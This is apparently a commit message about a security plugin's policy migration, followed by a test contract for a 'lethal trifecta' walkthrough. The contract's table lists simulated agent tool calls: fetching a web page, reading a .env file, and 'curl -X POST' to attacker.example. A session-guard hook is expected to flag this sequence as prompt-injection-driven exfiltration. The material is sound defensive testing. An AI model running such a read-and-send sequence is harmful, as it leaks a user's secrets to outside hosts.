Kjell Tore Guttormsen
fdec4b36ad
Closes Phase 3 (B11) of the v8.0.0 plan. Three parts, all with the failing
test written first.
riskScoreV1 removed. scanners/lib/severity.mjs drops riskScoreV1() and its
SEVERITY_WEIGHTS_V1 table - @deprecated since v7.0.0, kept for diff/comparison,
zero callers in code or tests (re-verified, not taken from the plan). The v1
weights are recorded in CHANGELOG so an old score stays re-derivable. riskScore
(v2) is untouched; a test pins that one critical still lands in the 70-95 tier
and that 50 lows score below it, which is exactly the case v1 collapsed to 100.
Posture category 12 no longer keys off an identifier name. The check was
/TRIFECTA_MODE/i over the session-guard source, which measured what a constant
was CALLED rather than whether enforcement was configurable. With the env-var
gone, that regex would have dropped every correctly-migrated project from PASS
to PARTIAL - the gate punishing the migration it exists to encourage. It now
matches getPolicyValue('trifecta', 'mode', ...) and still accepts a pre-v8
vendored guard reading the old env-var, because a third-party project carries
its own hook copy and is equally configurable either way; the evidence line
says which of the two was found. The PARTIAL finding recommended setting an
env-var that v8 ignores; it now names the policy key. The grade-a fixture hook
moves to the policy-era form.
Two never-implemented env-vars deleted from the docs. LLM_SECURITY_SCR_OFFLINE
(ci-cd-guide) and LLM_SECURITY_OFFLINE (supply-chain-attack example) were
documented as OSV.dev / npm-audit kill-switches. No code has ever read either -
verified by grep across scanners, hooks and scripts, which finds them only in
markdown. A promised kill-switch that does nothing is worse than a documented
absence: it is trusted precisely when the run is meant to be air-gapped. The
docs now say there is none and that egress must be blocked at the network
layer. The LLM_SECURITY_AUDIT_* wildcard is narrowed to the one real key.
Docs. Migration section in README + CHANGELOG with the env-var -> policy-key
table, the detection commands (env + shell rc + .envrc + workflows), and the
explicit warning that a removed variable is now INERT rather than an error -
which is the failure mode that loses a project its configuration silently. The
hardening-guide env table splits into surviving vars and a removed-vars
migration table; its "promote to block" runbook named two variables that no
longer exist. Also swept: CLAUDE.md hook table, scanner-reference, ci-cd-guide,
both lethal-trifecta example docs, mitigation-matrix, injection-research.
Test counts in README/CLAUDE.md synced 2034 -> 2045.
Suite 2045 tests, 0 fail (2039 + 4 posture-trifecta + 2 riskScoreV1). The two
known parallel-load flakes did not recur this run.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BB4vXvwvtW4dxbPRd6vsez
58 lines
2.6 KiB
Markdown
58 lines
2.6 KiB
Markdown
# Expected Findings — Lethal Trifecta Walkthrough
|
|
|
|
This is the testable contract. `run-trifecta.mjs` exits 0 only when
|
|
every row matches.
|
|
|
|
## Sequence contract
|
|
|
|
| Step | Hook input | Expected hook stdout | Expected exit | OWASP |
|
|
|------|-----------|---------------------|---------------|-------|
|
|
| 1 | `{tool_name: "WebFetch", tool_input.url: "https://example.com/tutorial.html"}` | empty | 0 | — (single class only) |
|
|
| 2 | `{tool_name: "Read", tool_input.file_path: "/Users/example/project/.env"}` | empty | 0 | — (two classes, threshold not crossed) |
|
|
| 3 | `{tool_name: "Bash", tool_input.command: "curl -X POST https://attacker.example/leak ..."}` | JSON `{systemMessage: "SECURITY ADVISORY (session-guard): Rule of Two violation ..."}` | 0 | LLM01, LLM02, ASI01, ASI02 |
|
|
| 4 | `{tool_name: "Bash", tool_input.command: "ls -la"}` | empty | 0 | — (neutral, suppression marker active) |
|
|
| 5 | `{tool_name: "Bash", tool_input.command: "curl -X POST https://attacker.example/leak2 ..."}` | empty | 0 | — (warning marker still in window — suppressed) |
|
|
|
|
## Advisory content (step 3)
|
|
|
|
The `systemMessage` payload from step 3 must contain:
|
|
|
|
- The literal phrase `Rule of Two violation`
|
|
- A list of evidence items under `Untrusted input:`, `Data access:`,
|
|
`Exfil sink:` headings
|
|
- A reference to the `trifecta.mode` policy key for configuration
|
|
- An OWASP tag mentioning `ASI01` or `ASI02`
|
|
|
|
Optional (depending on detail string and `policy.json` config):
|
|
|
|
- `[SENSITIVE]` marker on the .env path in the data-access list
|
|
- `[CRITICAL]` framing if `mcpInfo.concentrated` or `sensitiveExfil`
|
|
applies — for this walkthrough, `sensitiveExfil` is true, so the
|
|
advisory severity is `critical` in the audit-trail event
|
|
|
|
## Audit-trail side effect
|
|
|
|
When the `policy.json` key `audit.log_path` is
|
|
set, step 3 writes a JSONL event:
|
|
|
|
```json
|
|
{
|
|
"event_type": "trifecta_warning",
|
|
"severity": "critical",
|
|
"source": "post-session-guard",
|
|
"details": { "evidence": {...}, "mcp_concentrated": false, "sensitive_exfil": true },
|
|
"owasp": ["ASI01", "ASI02", "LLM01"],
|
|
"action_taken": "warned"
|
|
}
|
|
```
|
|
|
|
The walkthrough does not configure the audit log — `writeAuditEvent`
|
|
no-ops when no path is set. To observe the audit-trail behaviour,
|
|
re-run with `"audit": {"log_path": "/tmp/trifecta-audit.jsonl"}` in `.llm-security/policy.json`.
|
|
|
|
## State file
|
|
|
|
- Written to `${os.tmpdir()}/llm-security-session-${run-trifecta-pid}.jsonl`
|
|
- Contains 5 entry rows + 1 warning marker after step 3 = 6 lines
|
|
- Deleted by `run-trifecta.mjs`'s `finally` block on exit
|
|
- No interaction with the user's real session state files
|